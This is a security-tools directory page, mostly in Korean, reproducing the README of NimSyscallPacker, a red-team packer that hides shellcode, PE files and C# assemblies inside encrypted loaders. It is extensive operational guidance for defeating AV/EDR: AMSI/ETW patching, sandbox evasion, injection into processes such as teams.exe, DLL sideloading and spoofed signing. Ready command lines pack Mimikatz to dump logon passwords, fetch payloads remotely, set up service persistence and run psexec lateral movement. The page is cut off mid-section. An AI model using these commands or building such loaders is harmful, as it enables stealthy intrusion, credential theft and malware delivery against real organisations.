Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
NimSyscallPacker — C# 어셈블리, PE 파일 또는 셸코드를 암호화된 Nim 바이너리로 패킹하며, AMSI/ETW 우회, 샌드박스 탐지, 다중 인젝션 기법 등 레드팀 운영을 위한 고급 회피 기능을 포함합니다. | Kitploit
도구/GitHubGitHub/s3cur3th1ssh1t/nimsyscallpacker
Privilege EscalationPayload GenerationPersistence MechanismsExploitationLateral MovementShellcodePost-ExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubs3cur3th1ssh1t/nimsyscallpacker

NimSyscallPacker

207332개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

C# 어셈블리, PE 파일 또는 셸코드를 암호화된 Nim 바이너리로 패킹하며, AMSI/ETW 우회, 샌드박스 탐지, 다중 인젝션 기법 등 레드팀 운영을 위한 고급 회피 기능을 포함합니다.

저장소 보기

NimSyscallPacker / Loader

이 도구는 x33fcon에서의 발표 이후 공개되었습니다. 2021년부터 2024년까지 제 개인 주요 코딩 프로젝트였으며, 현재는 더 이상 사용되지 않는(deprecated) 상태로 간주되어 더 이상 유지보수되지 않습니다. 제 쪽에서 버그 수정이나 기능 업데이트를 기대하지 마세요. 대신, 검증된 Red Team 및 Pentester를 위한 상용 통제 버전인 RustPack이 현재 유지보수되고 있으며, 기능이 훨씬 더 풍부할 뿐만 아니라 OPSec 측면에서도 훨씬 더 안전합니다.

이 Packer는 모든 C# Assembly, PE-File 또는 Shellcode를 Nim 바이너리로 패킹하는 데 사용할 수 있습니다. 대상 페이로드를 암호화하고, 주어진 인자에 따라 해당 Nim 소스 코드를 빌드한 다음 Nim 바이너리로 컴파일합니다.

설정

동영상을 선호하신다면 여기에서 찾을 수 있습니다: https://youtu.be/0PwIn3Nxmgo

Windows

Nim/Nimble이 제대로 작동하려면 Git이 설치되어 있어야 합니다.

Nim 2.2.10 및 Nim Windows 다운로드 페이지에서 링크된 MinGW-w64 GCC 11.1.0 번들로 테스트되었습니다. 최신 Nim 릴리스는 Windows에서 높은 PE 이미지 베이스를 기본값으로 사용하는데, 이로 인해 -static 링크가 relocation truncated to fit: R_X86_64_32S against .bss 오류로 깨집니다. 이제 패커는 정적 빌드가 계속 작동하도록 -Wl,--image-base=0x10000을 강제 적용하므로, MinGW-w64 11.x 빌드는 모두 문제없어야 합니다. 여기서는 x64만 지원됩니다 — x86/--x86/--wow64는 유지보수되지 않습니다.

  1. Nim 및 MinGW(x86_64) 다운로드:
    • nim-2.2.10_x64.zip
    • mingw64.7z (Nim Windows 설치 페이지에서 링크됨)
  2. 7-Zip으로 Nim 압축 해제 (Windows 기본 제공 Expand-Archive는 사용하지 마세요 — lib\system\ 디렉터리와의 대소문자 충돌로 인해 lib\system.nim을 조용히 누락시킵니다). Nim zip에는 MinGW를 추출하는 데 사용할 수 있는 bin\7zG.exe가 포함되어 있습니다.
  3. <nim>\bin 및 <mingw64>\bin을 %PATH%에 추가합니다. 변경 사항을 적용하려면 로그오프/로그온(또는 셸 재시작)을 수행하세요.
  4. nimble 의존성 설치: ```batch nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
    root@kitploit:~

Versions known to work (as of Nim 2.2.10): nimcrypto 0.6.0, docopt 0.7.1, ptr_math 0.3.0, winim 3.9.4, nim-strenc (HEAD — the repo has no tagged releases).

  1. Disable Windows Defender Sample Submission (the Packer refuses to run otherwise): ```powershell Set-MpPreference -SubmitSamplesConsent 2
    root@kitploit:~
  2. Packer를 컴파일하세요: ```batch nim c NimSyscallLoader.nim
    root@kitploit:~

Windows에서 LLVM 난독화기를 사용하려면 denim에 포함된 수정된 denim 버전을 사용하세요. denim\denim.exe setup으로 설치합니다.

Linux

예: Kali / Debian. 이 패커는 기존에 nim 1.6.8 + mingw-64 8.0.0-1이 필요했습니다. 이제 정적 링크 --image-base=0x10000 우회가 내장되어 있으므로 최신 툴체인에서도 작동해야 합니다. Windows 빌드가 활발히 테스트되는 대상이며 — Linux는 best-effort입니다.```bash apt-get install nim mingw-w64 nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/

root@kitploit:~
`--hellsgate`가 최신 mingw-w64에서 어셈블리에 실패하면 `mingw-64=8.0.0-1`로 다운그레이드하세요.

`pip3 install donut-shellcode`로 donut을 설치하세요. `denim`은 Unix에서 사용할 수 없으므로 LLVM을 통한 난독화는 여기서 불가능합니다. Callobfuscator도 마찬가지입니다.

`nim c -d:noRES NimSyscallLoader.nim`으로 Packer를 컴파일하세요. 준비 완료입니다. -d:noRES를 사용하지 않으면 다음과 같은 오류가 발생할 수 있습니다:```
/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.

Docker 설정

한 번 빌드해야 합니다(처음에는 시간이 걸리며, 이후 빌드는 캐시됩니다).

sudo docker build . -t nimsyscallloader

그런 다음 다음 명령으로 패커를 실행합니다:

sudo docker run -v $(pwd):/shared nimsyscallloader <ARGUMENTS> --output=/shared/packed.exe 여기서 $(pwd)는 호스트 시스템에서 컨테이너와 공유되는 디렉터리, 즉 암호화할 파일이 있어야 하고 출력이 저장될 디렉터리입니다.

타사 종속성

LimeLighter를 통해 코드 서명 인증서를 사용하려면 다음 항목도 설치하고 %PATH%에 포함해야 합니다: openssl - (Windows용) 예를 들어 여기에서 osslsigncode - 예를 들어 여기에서

타사 도구 지원

여기서 사용되는 타사 도구의 문제에 대해서는 지원을 제공하지 않습니다. 문제가 발생하면 해당 저장소에 이슈를 열어 주세요. 사용 중인 타사 도구:

  • Donut
  • Denim
  • LimeLighter
  • Callobfuscator
  • NimlineWhispers3
  • Koppeling

제가 미리 컴파일한 바이너리를 사용하거나, 물론 위 링크에서 직접 컴파일할 수도 있습니다.

사용법

동영상을 선호하시면 여기에서 확인할 수 있습니다: https://youtu.be/UHaIgdzqHDA

요청이 있어 일부 기능에 대한 짧은 동영상도 추가했습니다:

Caro-Kann:

https://youtu.be/etAFZrIyb44

ThreadlessInject 기능:

https://youtu.be/eRS-4AywrHI

Module Stomping 기능:

https://youtu.be/l-TmqqQ49UI

shellcodeURL 기능:

https://youtu.be/OYxcL4D7K0c

stegoFile 기능:

https://youtu.be/Vr58_R4rYDA

shellcodeFile 기능:

https://youtu.be/Oj55uilxEF4

로컬 프로세스용 Ruy Lopez

https://youtu.be/8fBkRo1zlIM

Shellcode 출력 형식

https://youtu.be/ZTiZA2fg3WM

Assembly 출력 기능

https://youtu.be/TDEJ-U18UIk

그리고 기본 프로세스가 아닌 다른 프로세스에도 ThreadlessInject 기법을 사용자 지정하는 방법을 보여주는 공개 동영상을 만들었습니다:

https://youtu.be/BYuAUYQcI-E``` NimSyscall_Loader v 2.2

Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain= --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version

Options:

[general]

-h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded

[Payload retrieval options]

By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from

[DLL options]

--dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable

[evasion]

--sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is ) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)

[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]

--hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique

[shellcode specific]

--shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.

[PE Packing]

--peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE

[C# assembly Packing]

--csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace

root@kitploit:~
기본적으로 Packer는 모든 페이로드에 대해 샌드박스 우회 및 안티디버그 기능을 사용합니다. 이러한 기능을 활성화하지 않으려면(예: 해당 IoC를 제거하기 위해) 또는 다른 이유로 `--noAntidebug` 또는 `--noDefaultSandBox` 플래그를 사용할 수 있습니다. 옵션의 다른 모든 샌드박스 검사는 기존 검사를 대체하는 것이 아니라 추가로 포함됩니다.

모든 페이로드는 기본적으로 `RX` 메모리 영역에서 실행됩니다. 일부 페이로드는 `READ_EXECUTE`만으로는 작동하지 않습니다. 대신 `RWX`를 사용하려면 `--RWX` 플래그로 활성화할 수 있습니다.

또한 기본적으로 페이로드는 결과 바이너리에 암호화된 배열로 포함됩니다. 이로 인해 높은 엔트로피가 발생하고 일부 AV/EDR 벤더의 탐지로 이어질 수도 있습니다. 런타임에 다른 파일이나 웹 서버에서 페이로드를 가져오려면 `--shellcodeFile` 또는 `--shellcodeURL`을 사용하는 것이 좋습니다. 이는 부수 효과로 샌드박스 우회도 제공합니다. 예를 들어 다음을 사용하는 경우:```batch
NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.
만약 당신`이 서두르지 않으시다면, 어떤 Payload에 대해서도 `--sleep numberOfSeconds` 및/또는 `--sleep-in-between numberOfSeconds` 옵션을 사용하는 것도 추천합니다. 이는 메모리 스캔 및/또는 동작 기반 탐지 우회로 이어질 수 있기 때문입니다.

예를 들어, 실행 전에 언훅킹을 수행하고 AMSI를 우회하지 않고 Mimikatz를 패킹하려면 다음을 사용하세요:```batch
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject

Mimikatz를 --file=Mimikatz --peload 인자로 패커를 통해 로드한 다음 런타임에 사용자 지정 명령을 실행하는 데 문제가 있었던 분들이 있었습니다.

저는 이 동작의 원인을 찾았습니다. 왜 그런지 묻지 마세요. 하지만 GitHub에서 릴리스를 그냥 가져와서는 안 되고, Mimikatz를 직접 컴파일(또는 사용자 지정 버전을 빌드)한 다음 공식 릴리스 대신 그것을 로드해야 합니다. 또한 Mimikatz에는 --noAntidebug를 사용하세요. 그렇지 않으면 이상한 결과가 나옵니다(왜 그런지 묻지 마세요. 다른 PE는 정상적으로 로드됩니다).

그래도 GitHub의 릴리스 버전을 포함하려면 다음과 같이 인자를 직접 전달할 수 있습니다.```batch Packedmimikatz.exe coffee exit

root@kitploit:~
또한 `--peload`, `--csharp` 또는 `--peinject` 페이로드에 대한 인수를 하드코딩할 수 있습니다. 예를 들어 다음은 명령줄 인수를 `privilege::debug sekurlsa::logonpasswords exit`로 패치합니다:```batch
NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug

Donut 셸코드는 일부 AV/EDR 벤더에 의해 탐지됩니다. PE-Loading의 대안으로, PE-Loading에 Syscalls를 사용하도록 제 Nim-RunPE를 수정하고 여기에 통합했습니다:

예를 들어 Mimikatz를 패킹하고 syscall PE-Loader를 통해 로드하려면 다음을 사용하세요:```batch NimSyscallLoader --file=mimikatz.exe --peload --RWX (RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)

root@kitploit:~
로컬 인젝션을 위해 Shellcode를 패킹하려면:```batch
NimSyscallLoader --file=shellcode.bin --noAMSI

원격 프로세스에 셸코드를 로드하려면:```batch NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe

root@kitploit:~
To load a C# assembly:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp

C# 어셈블리를 인수와 함께 로드하려면:```batch NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'

root@kitploit:~
C# 어셈블리를 로드하고 Syscall 검색을 위해 hellsgate를 사용하려면 :```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate

로컬 인젝션 + hellsgate 사용 + 자체 삭제 + 샌드박스 검사를 위한 Shellcode 패킹:```batch NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace

root@kitploit:~
"Machine learning" 탐지를 우회하기 위해 수천 개의 영어 단어를 추가하려면:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words

jumper_randomized 기법을 사용하거나 사용하지 않고 Syswhispers3를 사용하려면:```batch NimSyscallLoader --file=calc.bin --syswhispers NimSyscallLoader --file=calc.bin --syswhispers --jump

root@kitploit:~
암호화하기 전에 sgn으로 셸코드를 인코딩하려면:```batch
NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn

사용자 지정 프로세스를 생성한 후 해당 프로세스에 인젝션하고 + 원격 프로세스에서 AMSI/ETW를 패치하려면:```batch NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW

root@kitploit:~
실행 파일 대신 DLL을 출력으로 생성하려면 `--dll` 매개변수를 추가하기만 하면 됩니다. `--dllexportfunc Export1,ExportFunc2`를 통해 사용자 정의 내보내기 함수를 정의할 수도 있습니다. 이러한 사용자 정의 내보내기는 DLL 사이드로딩에도 사용할 수 있습니다.

LLVM 설명은 [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2)에서 가져왔습니다 - 아직 직접 테스트해보지는 않았습니다!

**선택 사항:** [Obfuscator-LLVM](https://github.com/heroims/obfuscator) 플래그를 사용하려면 시스템에 [wclang](https://github.com/tpoechtrager/wclang)과 함께 설치되어 있어야 합니다. 이 작업이 다소 번거롭다고 생각했지만 약간의 인내심을 갖고 하면 할 수 있을 것입니다. 제 Kali Linux 시스템에서 작동했던 빠른 단계별 방법은 다음과 같습니다:
1. 원하는 버전의 Obfuscator-LLVM을 클론하고 빌드합니다.
2. 컴파일이 완료되면 기존 clang 버전을 백업하고 새 Obfuscator-LLVM 버전의 clang을 /usr/bin/로 이동합니다.
3. wclang을 설치하고 해당 바이너리를 PATH에 추가합니다.
4. 기존 clang 라이브러리 파일을 백업하고 새로 빌드된 Obfuscator-LLVM 라이브러리 포함 파일을 /usr/lib/clang/OLD_VERSION/로 복사합니다.

추가로, `nim.cfg` 파일에 다음 줄을 추가하여 nim이 wclang 바이너리를 가리키도록 해야 합니다:```
amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"

서비스 바이너리

서비스 바이너리는 즉시 실행되지 않습니다. Windows 서비스에만 사용할 수 있습니다. 따라서 --service로 서비스 바이너리를 컴파일하는 경우 해당 바이너리 위치로 새 서비스를 만들어야 합니다. 예를 들어 다음과 같이 할 수 있습니다:```batch sc.exe create Updater binpath="C:\windows\system32\service.exe" sc.exe start Updater

root@kitploit:~
Packer 바이너리는 impacket-psexec 측면 이동(Lateral Movement)에도 사용할 수 있습니다:```
impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement

서비스 DLL에는 추가 구성이 필요합니다. 다음 블로그에서 읽을 수 있으며 몇 가지 레지스트리 변경이 필요합니다:```batch sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f

root@kitploit:~
또한 `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` - `DcomLaunch` 값에 사용자 서비스 이름도 포함되도록 조정해야 합니다.

서비스 시작 시 ERROR 1053이 발생한다면 마지막 항목을 빠뜨렸을 가능성이 높습니다.

### Packer로 Golang 바이너리 처리하기

제가 만든 사용자 지정 `Nim-RUNPE` 구현은 현재 GoLang 바이너리를 처리할 수 없습니다. Nim 내부의 이상한 버그로, 나중에 더 깊이 조사해야 할 것 같습니다. 분명 토끼굴이며 이미 많은 시간을 소비했습니다.

현재로서는 해결 방법으로 `--peinject --large`를 사용하여 golang 바이너리에서 shellcode를 생성한 다음 이를 로컬에서 실행 파일 또는 DLL로 실행할 수 있습니다.

예시:```batch
NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe

or

NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll

DLL을 사용할 때는 하드코딩된 인수를 have to 전달해야 합니다. PEInject DLL은 대상 호스트로부터 인수를 받지 않기 때문입니다. 원격 인젝션도 가능하지만 여기서는 인수를 하드코딩할 수 없습니다.

Defender는 현재 Golang Packed 바이너리를 탐지합니다. 매우 높은 엔트로피(큰 페이로드, 즉 바이너리가 95% 이상의 암호화된 콘텐츠를 포함) 때문일 가능성이 높습니다. 이러한 탐지를 피하려면 DLL을 사용하거나 --pump에 임의의 값을 지정하세요.

DLL-Sideloading

--clone DLLName 플래그를 사용하여 DLL-Sideloading이 가능한 페이로드를 생성할 수 있습니다.

예를 들어 다음은 원본 Windows version.dll의 API Exports를 가진 version.dll을 생성합니다.```batch NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll

root@kitploit:~
이것은 Sideloading을 위한 다양한 합법적인 서명된 바이너리(예: `OneDriveUpdater.exe`, `slllauncher.exe` 등)에 사용될 수 있습니다. 몇 가지 중요한 사항이 있으니 직접 주의해야 합니다:

* Exitfunction=Process와 함께 Shellcode를 사용하면 호스트 바이너리에서 크래시가 발생할 가능성이 높습니다.
* 로컬 인젝션을 사용하면 DLL이 C2-Payload에 대한 실행을 끝내지 못하므로 바이너리가 시작되지 않습니다.
* 현재 C# Payload와 Nim Sideloading에 버그 또는 문제가 있습니다. 해당 Payload는 로컬에서 실행될 때(`--csharp` 또는 `--peinject`) 그냥 실행되지 않습니다. 조사가 필요합니다.
* Teams.exe와 함께 Nim DLL Sideloading Payload를 사용하는 것은 권장하지 않습니다. 특정 DLL에서 이상한 동작이 있었고 많은 경우 Teams가 더 이상 시작되지 않았습니다. 또한 현재 많은 EDR 벤더에서 탐지됩니다.
* Payload를 사용하기 전에 테스트하십시오.

사용자 지정 Sideloading 바이너리를 검색하거나 [https://hijacklibs.net/](https://hijacklibs.net/) 같은 곳에서 알려진 문서화된 바이너리를 사용하는 데 시간을 투자하십시오.

### 사용자 지정 이미지 또는 메타데이터

로더 실행 파일에 사용자 지정 아이콘이나 사용자 지정 메타데이터를 사용하려면 resources 폴더의 `cmd.rc` 파일을 변경해야 합니다.

이것은 `windres cmd.rc -o cmd.o`를 통해 `cmd.o` 파일로 컴파일할 수 있습니다. `demo.ico` 파일을 원하는 다른 ICON 파일로 교체할 수도 있습니다.

DLL 메타데이터의 경우 `DLL.rc`를 변경하면 됩니다.

### 기타 엔트로피 탐지 또는 대체 SandBox Evasion

일부 벤더(예: ESET)는 암호화된 Payload가 높은 엔트로피의 blob으로 바이너리에 포함되어 있기 때문에 바이너리/DLL을 플래그 지정합니다. 이러한 탐지 및/또는 SandBox 검사는 `--shellcodeFile` 또는 `--shellcodeURL` 플래그로 우회할 수 있습니다. 이 경우 Payload는 더 이상 결과 바이너리에 포함되지 않고 별도의 파일이나 원격 웹서버에서 로드되기 때문입니다.

### ThreadlessInject - 주의할 사항

